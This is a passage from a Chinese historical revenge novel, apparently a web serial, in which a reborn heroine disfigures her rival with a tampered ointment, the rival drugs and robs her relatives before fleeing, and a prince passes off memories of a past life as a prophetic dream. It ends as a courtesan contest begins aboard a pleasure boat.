可如今明月已经是韫儿的人,他若不要她,日后她还怎么办。
“嫂子,你说这话不是往我心上戳刀子么。”温如霜不停地抹眼泪。
“我一个将死之人,只希望孩子过得好,让明月去当妾,我还有什么颜面面对侯府列祖列宗啊。”
她晏明月能干出那样不要脸的事情就已经够对不起侯府的列祖列宗了。
姜清屏在心里冷笑。
但面上她还是放缓和了语气。
温如霜如今是侯府主母,对温家还是很有助益的。
“小妹,做妾又如何,只不过是一个称呼罢了。她就算给韫儿做妾,但实际上还是温家的外孙女啊。林家姑娘即便嫁过来,当做正妻,也是不敢欺负她的。”
温如霜被她这番话说动了。
“嫂子,你容我想想。”
“行,你慢慢想,此事宜早不宜迟,你最好早点做决定。”姜清屏松了一口气。
温如霜把晏明月叫了过来,把姜清屏的意思告诉她。
“娘,我是侯府嫡女,怎可当妾!”晏明月立刻不愿意。
“你听娘说。趁着那个姓林的没嫁过来之前,你好好笼络你表哥的心。男人的心在你这,你就什么都不用担心。”温如霜把道理掰开揉碎了告诉她。
“只是暂时不能当正妻而已。若林家姑娘入门后没了,扶你为正妻也是迟早的事。”
晏明月顿时明白了娘亲的言外之意。
她仔细思索了起来。
此事,或许可行。
“好,娘亲,我听你的。”晏明月重重点头。
听到这话,温如霜总算松了一口气。
女儿肯听劝就好。
令他们母女二人没想到的是,定远侯和晏明远兄弟俩竟然都反对让她去给温韫做妾。
“简直丢人现眼,我绝不同意。”定远侯一想到亲女儿自甘堕落给人当妾就一肚子的火。
“表哥怎么能这样对明月。他们都有了夫妻之实,就该娶明月为正妻!”晏明修替妹妹打抱不平。
晏明远也不舍得让她去当一个妾侍,但事情又因她而起,他实在是不知道该说什么,只得叹息一声。
“事已至此,我已经别无选择。至少表哥愿意要我。”晏明月无声落泪。
木已成舟,他们也想不出更好的解决办法,最终还是听了温如霜的,按照原计划让晏明月跟着姜清屏母子一块去青州。
温如霜放心不下,怕她在路上受欺负,让晏明远兄弟二人一块将她送过去。
但晏明修不肯,他还是无法接受亲妹妹去给表哥当妾这件事。
最后只有晏明远跟着他们一块走了。
晏逐星坐在轮椅上,静静地看着马车离去的影子。
九栀出声提醒:“小姐,真就这样放过她了么?”
“放心吧,给她送的大礼她很快就要收到了。”晏逐星勾唇,微微一笑。
她给晏明远的那瓶玉肌膏,她重新挖出来填充了一遍。
上边都是宫里出来正儿八经的玉肌膏,而最底下的那一层,她混了让人毁容的药膏。
她很清楚,按照晏明远疼爱晏明月的程度。
他拿到玉肌膏之后一定会把药送给晏明月的。
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算算时间,晏明月也快用到底了。
不知道等温韫看到容貌全毁的晏明月,还愿不愿意让她当妾。
想到那个场景,晏逐星心情美得不行。
这段时间晏明远不在,温如霜又瘫了,定远侯还沉迷于阮寄薇的温柔乡,正是对晏明修下手的好时机。
是时候该好好计划计划了。
*
谢翊宁领着照夜去了御书房。
文昭帝正和太子谢元宸在商议朝政要务。
“儿臣见过父皇,见过太子哥哥。”
“小石头今日怎么有空入宫来了?”文昭帝笑呵呵地看着儿子。
“有十万火急的事情要告知父皇。”谢翊宁将收罗来的证据命人呈上了御案。
“什么事让我们小石头这般严肃?”文昭帝一开始还有心思调侃儿子,但翻看那些证据,看着看着脸上的笑容就渐渐消失了。
谢元宸看着父皇变化的表情,忍不住皱起了眉头。
到底什么事,让七弟这么着急地送入宫,还让父皇露出这么凝重的表情。
“这群混账!”文昭帝看完后,将那一沓证据狠狠拍在桌上。
震得一旁伺候的太监宫婢们慌忙跪下,高呼:“皇上息怒。”
“石头,到底发生什么事了?”谢元宸忍不住开口询问。
“照夜,你来说。”谢翊宁微微抬起下巴。
“是。”照夜应了一声,便将自己奉命去南阳调查的事情都说了出来。
南阳是太后的祖荫之地。
偏那知府仗着太后族亲的名头,把修堤的银子吃了三成空饷。糯米灰浆掺沙,青石料换土坯,堤坝看着威风,实则比女子用的香粉还虚。
他一脚踹在坝体上,就簌簌往下掉渣,裂缝里还爬出好几窝白蚁。
若是下了暴雨,冲垮堤坝,那整个南阳以及下边的州县,全都要完蛋。
听完他的话,太子谢元宸也变了脸色。
这可是关乎万千黎民性命的大事。
谢翊宁撩袍跪地,朗声道:“父皇,必须彻查这群蛀空堤坝的蠹虫,还要即刻征召八府河工重修南阳堤坝。若不及时重修,待到三月暴雨来袭,洪水滔天,那可就晚了。”
文昭帝点点头,而后一脸疑惑地看着他:“石头,你是怎么知道南阳有官员贪墨的?还有,你说的三月会有暴雨引发洪灾,又是怎么一回事?”
第63章 上战场真相
谢翊宁来之前就已经猜到了父皇肯定会问这个问题。
他扫视了周围一圈,文昭帝顿时会意。
“太子和永安王留下,其余人等全都退下。”
待到御书房只剩下他们父子三人,谢翊宁这才开口。
“父皇,太子哥哥,儿臣做了一个梦。”
“梦?”文昭帝和太子同时一懵。
一个梦就让他大张旗鼓地去调查这件事,听起来怎么那么不靠谱呀。
“石头,你可不许糊弄父皇,不然父皇可是要让你禁足的。”文昭帝伸手轻轻戳了戳他的眉心。
“儿臣才没有糊弄您呢。”谢翊宁一脸认真。
“那日,我做了一个梦……”
他把上辈子的经历说成了做梦。
上辈子,国师断言他活不过二十岁。
于是在距离他二十岁生辰还有两个月时,他收拾行囊离开京城去了边关。
那会儿北境刚被霍家军打残了主力,但朝堂上主和派却称这场仗打了太久劳民伤财,逼父皇签两国五年互市条约。
他算准蛮族是外强中干,他们的王帐存粮压根撑不过今冬,全靠和谈骗大虞开边市救命。
若他死于北境蛮族之手,主和派当场就得闭嘴,再也不能逼迫父皇签订那个破条约。
霍家军就能名正言顺推平蛮族最后的粮仓。
而且他也不想死在父皇母后的面前。
横竖都是个死,他这副身子骨总要值回票价。
等北境蛮子的弯刀捅穿他的心脏,大虞的铁骑就有了名正言顺撕毁和谈的由头。
用他这条该绝的命,换边境三十年太平。
实在是再划算不过了。
“那支箭穿心之时,你一定很疼吧?”谢元宸听完喉间有些哽咽。
这是他一母同胞弟弟,从小就跟在他后边一口一个哥哥的叫着。
打小有什么好吃的旁人他都不给,就给他。
所有的好东西都让他先挑。
得知七弟活不过二十岁,他不止一次跪在国师面前,求国师想法子,让弟弟多活几年,他愿意与七弟平分寿命。
但国师自始至终都是同一句话。
“生死簿上朱笔已落,殿下莫再强求。”
后来,国师干脆闭关不见任何人。
“太子哥哥,都说了只是一场梦而已。怎么会疼呢。”谢翊宁眼尾倏然挑起三分笑意。
若不细看,看不到他眼底藏着的泪。
“你不疼,你皇兄心疼,朕这个当父皇的听了也心疼。”文昭帝瞪了他一眼。
谢翊宁嘿嘿一笑后拱手行礼:“这个梦太过真实,再加上父皇给令仪取的名字也和梦中一样,儿臣便派人去查了梦里的事情。发现南阳知府竟然真的贪墨枉法,堤坝也没有好好修建,因此儿臣斗胆猜测那场暴雨和后边的干旱都是真的。”
“还请父皇信儿臣一回,早做决断。”
文昭帝沉默着没说话,像是在思索着这事到底有几分可信。
谢元宸垂眸沉吟半晌,缓缓开口:“父皇,国师曾断言七弟活不过弱冠之年,莫非正因七弟身负窥探天机之能,方致阳寿折损?儿臣认为,七弟说的预知梦很可能是真的。事关万千黎民百姓的性命,还是宁可信其有不可信其无啊。”
太子这番话让谢翊宁松了一口气。
他们能自己给他找理由就最好不过了。
他还怕他们不信呢。
若他们不相信他说的话,他就要撒泼打滚逼着父皇下旨了。
反正父皇母后兄长都最疼他,他闹上一闹,他们肯定就妥协了。
文昭帝严肃着开口:“此事事关重大,除了咱们仨和你们的母后,不许对其他人透露石头有预知能力一事。”
谢元宸和谢翊宁同时点头。
此事若传出去,定然会引来有心人的试探,到时候麻烦可就大了。
“父皇,那修建堤坝,开凿水渠,预防旱灾一事,您考虑得如何了?”谢翊宁忍不住询问。
“放心吧,此事父皇会找到一个合理的借口,不会让人怀疑到你头上的。”文昭帝慈爱地看着小儿子。
于是几日后,皇陵传来了异响。
满朝文武百官们都疑惑为何皇陵会有动静。
文昭帝在朝堂上大发雷霆,将谢翊宁给的南阳知府贪墨枉法的证据砸到了他们面前。
“一群混账。若不是先帝震怒,托梦告知朕南阳堤坝偷工减料一事,你们还想瞒着朕多久?!”
百官当即下跪求皇上息怒。
文昭帝趁机把四月暴雨和六月大旱的事情,借着先帝托梦的名义说了出来。
他当即下令命工部户部速筹石料、工匠,从江南各地转运物资去南阳储备。
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快要过年了,冬日严寒,不适合开工。
于是便安排人等到二月初开春后,祭了河神再开工,沿河五县的壮丁都要参与修堤。
这事传得沸沸扬扬,晏逐星也知道了这个消息。
她也想起了那一年南阳暴雨,许州大旱的事情。
她越发确定谢翊宁也重生了的事实。
她决定日后行动一定要小心谨慎,省得谢翊宁知道她也重生了,怕她泄密对她痛下**。
晏逐星仔细回想明年还会发生什么事情。
那年六月许州大旱,京城也比往年更早迎来酷暑,五月末的日头就毒得反常,待到六月更是热得人发昏。
街巷石板蒸腾着热气,走到庭院不过半刻钟,汗水便顺着脊背往下淌,仿佛整个人都要被晒化在青砖路上,衣裳都是湿漉漉的。
回想起前世的定远侯府,窖藏的冰块全被温如霜母女独占,她连半块都分不到。
最热的那几日,她整夜躺在竹席上辗转难眠,接连中暑了好几次。
如今有幸重来,这回说什么也要提前备足冰块,绝不再受这蒸笼般的苦楚。
勋贵之家,家家户户都要存冰,她以定远侯的名义去存冰,应该不会被发现异样。
晏逐星命人拿了算盘来,噼里啪啦拨起算珠。
如今雇人开凿冰块的市价是二十文一方,侯府冰窖约莫能塞进两千方。
待到盛夏六月,估计还能存下千余方。
横竖那时定远侯府上下也死得七七八八了,这些冰足够她摇着团扇吃冰镇杨梅。
若是再盘下城西那处空宅当储冰所,屯上五千方冰。
等到六月再转手将冰卖给京里那些金尊玉贵的世家,平日二两银子一方的冰,就算翻倍卖到四两银子,也有人抢着要。
刨去杂七杂八的开支,少说能净赚七千两白银。
这买卖可比侯府那些铺子来钱快多了。
要知道府里最红火的那个香粉铺子,一年下来,最好的时候也只挣了千两白银。
算完这一切,晏逐星心动了。
这门生意,她觉得可以赌一赌。
她手里只有皇后赏赐的一万两白银,她不能坐吃山空,得想想办法。
毕竟无论是复仇还是寻找家人,处处都要花银子。
只是她一时间有些犯难,这事该交给谁去办呢。
第64章 明月要疯了
她手底下得用的都是姑娘家,可要论跟码头脚夫砍价、同油滑商贩周旋,终究缺个牙尖嘴利的少年郎。
偏生倒卖冰块这事最怕走漏风声,必要找个嘴比铁锁还严实的。
思来想去,她决定去一趟烈国公府——借人。
“你想要一个能帮你跑腿办事的小厮?”烈国公夫人有些惊讶。
“是。”晏逐星点头后,垂眸看向手里的热茶。
“干娘您是知道的,我并非侯府亲生子,待来日出阁怕是连妆奁都要被克扣。如今找您借人,是想学着攒些体己钱。来日挣了银子,也好孝敬干爹干娘和哥哥。”
烈国公夫人听到这话,心疼不已。
“放心吧,有我和你干爹在,我们定会让你风风光光出嫁。”
“我知道你们对我好。”晏逐星忙抬头解释,“但我总不能什么都靠你们,那样也太不要脸了。干娘,您就借个可靠的人给我就好。”
“好。干娘保准给你找个靠谱的人。”烈国公夫人拍了拍她的手背,思索片刻后,扭头看向了身后的嬷嬷。
“张嬷嬷,我记得你那小孙子,今年也有十七了吧。”
“是。那孩子往日里帮管家跑腿呢。”张嬷嬷忙点头。
“那我让他去替星儿办事,你可愿意?”烈国公夫人又问。
“能给小姐办事,是他的福气。”张嬷嬷笑着应下。
不一会儿,烈国公夫人就把张小乙叫了过来。
“从今往后,你便给小姐办事,小姐让你做什么你就做什么,不得违背,你可记住了?”
“小的记住了。”张小乙没有任何不满。
他心里门清。
世子爷是个傻的,小姐是个得宠的,日后呀,这国公府保不准是这位国公夫人的义女做主。
跟着她走,只会有大造化。
烈国公夫人将张小乙的身契交给了晏逐星,晏逐星郑重收下。
随后陪着尉迟敦凿冰捞鱼,玩了一下午后,方才离开。
临走前,她和烈国公夫人提了多囤点冰的事情。
烈国公夫妇上了年纪,热不得,尉迟敦瞧那体格也是怕热的,若是明年冰少了,肯定难捱。
“放心吧,每年咱们这时候都会存冰的。”烈国公夫人笑呵呵地应下。
“这不是皇上说了么,六月许州会大旱。我怕到时候京城也热起来,冰不够用。您呀,若是能多囤些,就多囤些吧。”晏逐星再次提醒。
这下烈国公夫人听进去了。
“你说得有道理,干娘会让人去办的。”
送走晏逐星后,她找来夫君商议多囤点冰的事情。
烈国公想了想,开口道:“往年都囤三千的冰,今年再加点,囤到五千吧。”
“我看行。”烈国公夫人赞同地点了点头。
他们也不差银子,多囤点就多囤点吧。
回到了侯府,晏逐星先让张小乙去办了几件小事。
见他办得不错,口齿伶俐,是个机灵又忠心的下属,这才让他去置办带着冰窖的院子,然后请人凿冰。
自打阮寄薇被接入侯府后,温如霜已经许久没有来找她的麻烦了。
晏逐星过上了难得的闲散日子。
每逢双日她便往烈国公府去,陪尉迟敦玩各种游戏吃饭,余下时辰全泡在玉澜院里。
左腿还使不上劲,她就拄着木拐杖练定身射。
院子里的箭靶子都快被她扎成刺猬了,准头一日比一日更好,晏逐星对此十分满意。
她的小日子过得美妙,但晏明月却要疯了。
这一日,她是被脸上的灼烧感给疼醒的。
她伸手摸了摸脸,指尖刚触到结痂处便僵住了。
本该平滑的肌肤底下,此刻竟蠕动着蜈蚣般凸起的瘢痕。
“把铜镜拿来!”她踹开锦被睡在地上的丫鬟莲儿大吼。
莲儿慌慌张张去翻妆奁,转身时却像被雷劈中似的踉跄后退好几步:“小、小姐……”
“作死的东西!”晏明月扯过纱帐起身,就瞧见莲儿用袖口死死捂着嘴。
她一把抢过莲儿手里的铜镜,铜镜里映出的画面让她瞳孔骤缩。
她的脸上满是暗红色的扭曲疤痕,像被人用烧红的铁丝烫过,她的脸变得比那日刚划破时还要恐怖。
“不,不可能。”她将手中的铜镜狠狠砸到了地上,妆奁里的胭脂水粉也尽数被她掀翻。
“怎么了,明月,可是出什
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么事了?”晏明远听见动静,从客栈另一间屋子里走了出来。
还有两日,他们就要抵达青州了,这个时候,妹妹可不能再出岔子。
听到他的声音,晏明月踉跄着扑向雕花门,后背死死抵住门板:“不许进来!”
她如今这副模样,谁看了都会作呕的。
不,她不能让任何人瞧见她如今的模样。
她宁可**,也不要这样出现在别人面前。
“究竟出什么事了?”她情绪越激动,晏明远越是担忧。
他忍不住推了一把大门。
不曾想,没推动。
晏明月将身子贴门贴得更紧了,她厉声道:“你要是敢闯进来,我就撞死在梁柱上!”
听到这话,晏明远往后退了一步,赶忙道:“大哥不进去,你告诉大哥,出什么事了?”
“那玉肌膏有问题,肯定是晏逐星要害我!!!”她激动大叫。
晏明远听到这话,皱起了眉头:“玉肌膏乃是皇后娘娘钦赐,你之前不是用这药膏养好了七八分,如今怎么又怪到星儿头上了。”
“就是她,除了她不会有人害我。”晏明月根本听不进任何的话。
她只知道,完了,一切全完了。
这些日子,她伏低做小,好不容易将表哥的心笼络了过来。
而今她变成这个模样,若是被他看到,他一定会毫不犹豫地将她抛弃。
两人的动静把姜清屏母子也引来了。
“大清早的,又在闹什么?”姜清屏面露不悦。
“明月只是有些想家了,还请舅母不要计较。”晏明远赶忙替妹妹辩解。
听到姜清屏的声音,晏明月深吸一口气,强迫自己冷静下来。
“舅母,我没事,你们先去用早膳吧。我有事,想和大哥单独说会话。”
“行吧。”姜清屏也懒得掺和他们的事情,领着儿子下楼用早膳。
待会他们还得继续赶路呢。
晏明月冷冷地看向莲儿:“你到角落去,没有我的吩咐,一句话也不许说。”
莲儿慌忙点头,退至角落。
晏明月紧紧咬着嘴唇,直到嘴里传来了血腥味,她终于下定决心,打开了门。
第65章 远走高飞了
门打开的那瞬间,晏明远顿时变了脸色,脱口而出:“明月,你的脸……”
晏明月一把将他拽到屋子里,关上门,破罐子破摔。
“看清楚了吧,我的脸全毁了,都是晏逐星害的。”
晏明远本想反驳,但是晏明月的脸已经变成这样,他又说不出口了。
这种时候说这些话,无异于在明月的伤口上撒盐。
他只得安抚她:“别怕,大哥这就去给你请大夫。”
晏明月拽住想要离开的他,声嘶力竭地大吼:“这穷乡僻壤能找到什么好大夫,京城里的太医都未必能治得好。”
晏明远哑口无言。
晏明月捂着脸痛哭了起来。
她一边哭一边道:“如今我的脸全毁了,便是做妾,表哥也不会要我了。呜呜呜呜呜。”
这事情发生得太突然,打了他一个措手不及。晏明远站在一旁干着急,不知道该怎么办。
“不会的,抛去给他当妾,你也是还是侯府嫡女,他们不敢苛待你的。”他干巴巴地安慰着哭得涕泪横流的妹妹。
晏明月哭了好一会儿,方才止住眼泪。
她低着头小声道:“大哥,你能不能帮我说服舅母和表哥,我们再在昌乐县待上一日?我想出门去寻大夫瞧瞧脸。”
“行。”晏明远毫不犹豫的答应了下来。
待到他离开,晏明月便领着莲儿出了一趟门。
直到夕阳西下时,她才回到客栈。
“你去哪了,怎么去了那么久,你知不知道你快把我们吓**。”见到她回来,晏明远松了一口气,对着她劈头盖脸就是一顿骂。
晏明月戴着帷帽,姜清屏母子看不清她的脸。
她柔柔地说了声:“我身子不适,去看了大夫,误了时辰,让舅母、表哥还有大哥担心了。”
“已经听你大哥的,在这待了一整天了,明天必须回青州。”姜清屏冷冷开口。
“是,一切都听舅母安排。”她顺从地应下。
“今夜我亲自下厨,给诸位赔罪。”
“那怎么使得,这样的粗活用不着你来做。”温韫上前一步,心疼地握住了她的手。
“怎么使不得了。这一路,舅母和表哥照顾我良久,我理该给你们做顿饭道谢的。”晏明月十分坚持。
“行了,她愿意做就让她做吧。”姜清屏没有继续阻拦。
晏明远在心底叹气。
他知道,妹妹是怕之后被温家人看到脸嫌弃,所以现在就开始讨好舅母他们了。
没过多久,晏明月就在莲儿的帮忙下做好了一顿饭。
很简单的鸡汤面条。
味道平平无奇,但每个人都给面子的吃完了。
唯有晏明月说自己胃口不好,没怎么动筷子。
用过晚膳后,晏明远原本还想跟妹妹在说说心里话,但却被她拒之门外了。
他只得无奈离开,打算明天在和妹妹好好聊聊。
晏明月回到屋子里,催促着莲儿赶快收拾行李,而后点燃了一炷香开始进行计时。
“小姐,咱们真的要走吗?”莲儿快哭出来了。
小姐今日带着她去县城里逛了一圈,还买了**,做饭时让她下到饭里,让舅夫人和两位少爷都吃了。
她当时腿都吓软了。
如今,小姐又让她收拾行李,说要远走高飞。
她更害怕了。
“随你,你要是不跟我走,明日他们醒了,你会是什么下场,不用我提醒你吧。”晏明月冷冷地看着她。
莲儿的脸瞬间变得煞白。
她不敢再发出质疑,噙着泪迅速收拾起行李。
直到香燃尽,晏明月果断起身,去找大哥。
“二小姐,大少爷已经歇下了。”小厮竹安拦住她,不让她进门。
晏明月却不管不顾地推开房门:“我有要紧的事要跟大哥说。你离远些,不许偷听。”
竹安想拦,但想到大少爷对二小姐的宠爱,他又收回了手,听话地走远了一些。
晏明月火速关上门,走到床边,轻轻推了晏明远一把。
“大哥?大哥?”她连着喊了两声,晏明远昏睡着毫无反应。
她又用力地推了他一下,见他还是闭着眼睛,顿时放下心来。
她抓紧时间把晏明远的包袱都翻了一遍,将里边的银票全都拿走了。
紧接着,用同一个理由如法炮制,把姜清屏和温韫带的银票还有之前的首饰都拿走了。
想着明日要做的事情,晏明月一夜未眠。
今日她出门,原本是为了打听附近有没有神医,却无意中听到了一个从南穹国回来的男人在吹嘘路上的见闻。
他说南穹国有一个很厉害的巫医,名叫巫颜子。
医术能够活**肉白骨,之前有一个奇丑无比的女子因为嫁不出去,去找巫颜子治病。
治好后成了绝世大美人,被好多人抢着娶回家。
晏明月一瞬间仿佛抓住了救命稻草。
她要去南穹国,找巫颜子给自己看脸。
不管花多少银子付出多少代价,只要能让她的容貌恢复如初,她都愿意。
但舅母和大哥他们肯定不会同意送她去南穹国的,她只能靠自己了。
晏明月紧紧抱着收拾好的包
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袱,等着清晨的到来。
天空泛起鱼肚白,晏明月昨日请的镖局已经全副武装地出现在了客栈门口。
她看到人,赶紧叫上莲儿,拿着包袱小心翼翼的下楼。
好在这个时间还很早,其他人的丫鬟都没醒,舅母他们也因为吃了带有**的鸡汤面,至今还未清醒。
“小姐,咱们出发了吗?”镖局的刘老大冲她抱拳询问。
“嗯,出发吧。”晏明月怀里揣着**,点了点头。
马车摇摇晃晃地出发。
晏明月看着渐行渐远的客栈,见没有人追出来,悬着的心终于放下了。
一旁的莲儿也长长地舒了一口气。
但紧接着,眼泪就跟着落了下来。
从今往后,她恐怕再也见不到家中的亲人了。
*
待到日晒三竿时,晏明远终于醒了。
“大少爷,您可算醒了。二小姐和莲儿,不见了。”竹安一脸着急。
“不见了?什么意思?”刚刚清醒的晏明远头还有些痛,他有些反应不过来竹安说的这话是什么意思。
“一大早,小的想您起来用早膳,却怎么也叫不醒您。便想着请二小姐拿个主意,没曾想,他们的屋子里空无一人。”竹安急得快哭了。
“什么?可报官了?”晏明远急得掀开被子就起身。
但起身的瞬间头却发晕,让他晃了晃又跌坐回床上。
“当然得报官了!堂堂侯府嫡女,竟然做出那等偷鸡摸狗的事情。”姜清屏怒气冲冲地闯了进来。
她的话让本就迷糊的晏明远更加茫然了。
“舅母所言何意?”他不解地开口。
“昨夜那混账东西进了我的屋子,将我包袱里现银和值钱的东西都拿走了。”姜清屏气得快要吐血。
她活了几十年,还是头一回遇上**他人财物的官小姐。
“不可能。”晏明远脱口而出。
母亲给了明月许多陪嫁,她不缺银子,怎么会干出这样的事情呢。
“怎么就不可能了。不止我的,韫儿的那些现银也被她偷了。”姜清屏眼睛在他的房间里扫视了一圈,而后冷笑一声。
“听闻昨夜她也来了你的屋子里,你还是看看你的银票还在不在吧。”
“明月不是那样的人。定然是有窃贼闯入了客栈,又掳走了明月主仆。”晏明远嘴上说着不相信,但身体很诚实地翻找了起来。
看着藏银子的地方空空如也,晏明远彻底傻眼了。
“这下你该信了吧。”姜清屏气笑了,当即吩咐丫鬟去报官,必须将晏明月给捉拿回来。
第66章 今夜宜**
“不,舅母,不行,不要报官。”回过神来的晏明远赶忙阻拦。
“此事或许有什么误会呢。”
晏明远此刻还抱着一丝希望。
“没有误会。我已经打听过了,客栈小二瞧见她抱着包袱带着丫鬟上了马车,是她主动离开的。”姜清屏气得柳眉倒竖。
“再说了,她都不管我们的死活了,我还管她的名声?必须报官!”
“不是她的名声,是侯府的名声。”晏明远快速解释了起来,生怕她一怒之下真的去报官。
“您若将此事宣扬出去,那定远侯府的脸可就丢大了,温家也会没面子。倒不如将此事抹了。”
面前的是侯府未来的继承人,姜清屏还是给了他一个面子,开口道:“怎么抹?”
晏明远从牙缝中挤出一句话:“就说她突发恶疾,没了。”
“她要给表哥做妾一事,也当从没发生过。就说这一回是回外祖家探亲的。”
姜清屏略微思索了片刻,觉得这是一个好主意。
本来正妻没入门就不该纳妾,若不是晏明月和韫儿有了夫妻之实,又有侯府威压。
她才不愿意咽下这口气。
这一路她还发愁着该怎么跟林家解释先纳妾的事。
如今晏明月卷款潜逃也好,他们就当没发生过这个事,也算是皆大欢喜了。
晏明月一个小丫头,孤身带着一个丫鬟和巨款,迟早要死在外边。
这么一想,姜清屏心里舒坦多了。
她拍了拍晏明远的肩膀:“行吧,看在你母亲的份上,就按你说的办吧。”
“多谢舅母谅解。”晏明远一张脸臊得通红。
昨日,他还想着如何帮妹妹和外祖一家解释,今日就被晏明月这个举动隔空狠狠扇了一耳光。
她把银钱都拿走,就没想过他该如何面对舅母他们吗。
“既然都走到这儿了,你就随我们一块去青州吧,你外祖父外祖母定然也很想你。”姜清屏放缓了语气。
好在她身上还藏了些银票,不然现在都没法回家了。
“好。”晏明远僵硬地点点头。
离开客栈前,他快速提笔写了一封信,命人快马加鞭将这事传回京城。
这事,必须得让父亲母亲知晓。
*
晏明月的“死讯”尚未传回京城,晏逐星等的机会就来了。
“小姐,二少爷又和谢世孙出门喝酒了。”双鲤收到消息,第一时间跑来告诉自家小姐。
晏逐星数了数,晏明修这个月已经第三次和谢锦程出门饮酒作乐了。
每一次喝完酒回府,都是醉醺醺的。
惹得定远侯十分不悦,认为他不务正业。
但晏明修自打上回因为她被罚跪祠堂后,整个人就变了,整日就跟定远侯作对。
温如霜瘫痪,晏明远不在,没人能管得了他。
晏逐星对此倒是乐见其成。
再这么玩下去,明年晏明修别想考上举人了。
“他们这一回去哪,打听到了吗?”晏逐星抬头看向双鲤。
双鲤利落点头:“打听到了。谢世孙包了醉花坊的船,他们今夜要去参与选花魁。”
选花魁啊。
或许是个不错的机会。
晏逐星拖着下巴思索了起来。
谢锦程乃是昭瑞亲王的嫡孙。
昭瑞亲王是先帝的兄长,也是当今皇上唯一在世的伯伯。因而他的地位十分尊贵。
他的孙儿谢锦程是一个不折不扣的纨绔子弟。
上辈子她就对这人有所耳闻。
此人好色,尤其好良
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家妇女。
上一世,有一个卖鱼郎的夫人去王府帮着夫君送鱼,就被谢锦程给看上了。
他强行要了人家,还想把人囚禁在府中**。
不曾想,这卖鱼郎的夫人是个烈性子,当场撞柱而亡。
卖鱼郎上门寻迟迟未归的夫人,谢锦程身边的狗腿子像往常一样要用银子把人给打发了。
毕竟从前闹出来的那些事,都是这样摆平的。
成了亲的妇人,就算失了清白也不会像未出阁的女子一样容易被察觉。
只要他们不声张,旁人就不会知晓。
因而之前的许多人最后忍气吞声,都选择了拿钱走人。
他们以为卖鱼郎也一样。
毕竟那可是一百两银子呢。
卖鱼郎没要银子,一言不发地带走了夫人的尸体。
谢锦程等了几日都没见他来闹,就把这事抛到了脑后。
没想到,几日后,卖鱼郎终于等到了裴明镜,当着许多人都面,背着夫人的尸体冲到他面前跪下求他做主。
一时间,满京城都知道了这事。
裴明镜查明真相后,上奏皇上,请求皇上依照律法判处谢锦程绞刑。
谢锦程乃皇室宗亲,处置他必须得让皇上来裁决。
但昭瑞亲王坚决不同意,声称孩子还小,不懂事,且天潢贵胄不宜戮,以亲王的身份保住了谢锦程的命。
最终谢锦程只是被贬为了庶人,终身幽禁于王府当中,不得踏出半步。
晏逐星对这个判决很不满意。
既然律法不能让这样的**送命,不如她来替天行道,让他和晏明修一块下黄泉。
晏逐星思索片刻,做出了决定。
今天是个好日子,夜黑风高,很适合**。
该动手了。
第67章 求爷怜惜我
夜幕笼罩金水河,十二艘画舫亮起灯笼。
晏明修跟着谢锦程钻进挂着“锁春艇”木牌的画舫,扑面而来的炭火暖意驱散了冬日的寒气。
两个小丫鬟手脚麻利地帮他们脱去狐裘。
谢锦程大喇喇地躺在湘妃榻上,三个穿薄纱的侍女立刻围上去伺候。
一个跪着给他揉肩,一个跪着给他捶腿,还有一个捧着酒壶替他斟酒,捧着酒杯喂到他嘴边。
晏明修看直了眼。
“明修,你愣着做什么,躺下呀,让她们也伺候你。”谢锦程笑着揽过了喂酒的侍女,亲了一口。
晏明修依言躺在了另一边。
他接过侍女递的温酒,感慨道:“要不是锦程兄,这辈子我都见不着这样的盛景。”
“这有什么,跟着小爷混,往后这种快活日子少不了。”谢锦程笑了起来。
当初他和晏明修不过是点头之交。
结果有一次他在书院闯了祸,晏明修二话不说替他扛了黑锅,打那之后他就真心把他当朋友了。
混熟了才发现,晏明修不仅吃喝玩乐样样在行,说话做事都很对他胃口。
因而今晚画舫只让带个伴,谢锦程头一个想到的就是他。
“那我日后可就仰仗锦程兄了。”晏明修哈哈一笑。
“好说好说。”
画舫雕窗外传来丝竹声,河面倒映着各色灯笼,像撒了把碎金子。
晏明修闭上眼享受了起来。
今夜醉花楼摆出十二艘画舫选花魁,每船要价百两纹银,这快赶上他一年的月银了。
要不是谢锦程阔绰,他可没这个福气上船。
登船者每人可得醉花楼给的三支珍珠玛瑙花簪。
今夜一共有十二个花娘来参选花魁,她们会轮流上船呆上一刻钟的功夫,使出浑身解数展露才艺,从船上恩客手中拿到簪子。
拿到簪子数量前三的花娘,即可入主船争夺最后花魁的名头。
主船那边早开了赌盘:押中前三甲赔双倍,押中魁首不但翻倍,还能优先竞价成为今夜花魁的入幕之宾。
这连环局引得京城中的风流人士争相撒钱。
今夜的醉花楼,可谓是全京城最热闹的地方了。
“铛铛铛”
伴随着三声铜锣响。
金水河漾开层层波澜,一艘画舫撞散夜色贴了过来。
两个船夫甩出缆绳,“咔嗒”一声将两船锁死。
醉花楼的第一个姑娘要登船了。
晏明修紧张得坐起了身子。
船帘被掀开,一个裹着银狐裘的姑娘抱着琵琶走了进来。
她一露面,先前伺候两人的侍女们齐刷刷地退到了屏风后。
这是醉花楼的规矩,姑娘献艺时不得有旁人扰了贵客的雅兴。
“奴家瑟瑟,给二位贵人献丑了。”她垂首拨了下琵琶弦,披在肩上的狐裘突然滑落,雪白肩头暴露在二人的视线中。
晏明修呼吸一滞,攥着酒杯的手指收紧,目光却黏在那片肌肤上撕不下来。
琵琶弦震出清泠泠的颤音,瑟瑟低头吟唱。
一曲毕,她眼波掠过案上的花簪,露出了一抹羞涩又勾人的笑。
“这簪子真好看。两位爷能赏给奴家么?”
“赏。”晏明修拿起一支簪子就要塞到瑟瑟手里。
一旁的谢锦程却用扇子拦住了他。
“咱们拢共就三支花簪,给了她,后边还有十一个姑娘没看呢。”
瑟瑟咬住下唇,眼尾泛起水光。
“爷这是嫌我弹得不好?还是觉着我容貌入不得您的眼?”
她这委屈巴巴的模样,看得晏明修心都要化了。
“想要这簪子,你总得付出点诚意吧。”谢锦程嘴角浮起三分痞气。
瑟瑟识趣,主动倒了一杯酒,凑到了他跟前:“奴家敬您一杯酒,这簪子,您就赏了奴家吧。”
说罢,她仰头将酒喝下。
一缕酒从唇边溢出,顺着她纤细的脖颈滑落,消失在胸前。
晏明修喉结重重滑动
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,盯着那道蜿蜒的水痕咽了咽口水。
瑟瑟借着酒劲贴上谢锦程臂弯,冲他抛了个媚眼,软软道:“求爷怜惜奴家。”
“罢了,你既是今夜头一个求爷的,那就给了你一个体面吧。”谢锦程将花簪扔到了她怀里。
瑟瑟露出了笑意,忙跪下行礼:“多谢两位爷赏。”
她握着花簪,笑意盈盈地离开了,跟着船夫去往下一艘船。
